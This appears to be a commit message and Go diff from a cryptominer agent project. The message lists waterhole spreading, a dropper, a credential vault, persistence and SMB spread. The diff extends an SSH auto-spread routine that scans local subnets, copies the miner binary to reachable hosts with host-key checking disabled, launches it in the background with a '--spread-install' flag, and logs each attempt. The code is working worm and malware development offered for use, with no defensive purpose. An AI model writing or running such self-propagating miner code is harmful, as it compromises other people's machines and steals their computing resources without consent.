feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/deploy/autospread_unix.go

@@ -9,7 +9,6 @@ import (
 	"os"
 	"os/exec"
 	"path/filepath"
-	"strings"
 	"time"
 
 	"crypto-miner-agent/config"
@@ -90,10 +89,19 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
 	for _, ip := range getLocalIPs() {
 		localSet[ip] = true
 	}
+	var filtered []string
 	for _, target := range targets {
 		if localSet[target] {
 			continue
 		}
+		filtered = append(filtered, target)
+	}
+	beginSpreadSweep("ssh", len(filtered))
+	if len(filtered) == 0 {
+		finishSpreadSweepImmediate()
+		return
+	}
+	for _, target := range filtered {
 		spreadSem <- struct{}{}
 		go func(t string) {
 			defer func() { <-spreadSem }()
@@ -105,6 +113,7 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
 func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
 	conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
 	if err != nil {
+		recordSpreadAttempt(target, false, "port 22 closed")
 		return
 	}
 	conn.Close()
@@ -119,6 +128,7 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
 		}
 		scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
 		if err := scp.Run(); err != nil {
+			recordSpreadAttempt(target, false, "scp failed")
 			return
 		}
 	}
@@ -127,6 +137,9 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
 		fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
 	if err := start.Run(); err == nil {
 		log.Printf("[autospread] deployed to %s via SSH", target)
+		recordSpreadAttempt(target, true, "")
+	} else {
+		recordSpreadAttempt(target, false, "ssh start failed")
 	}
 }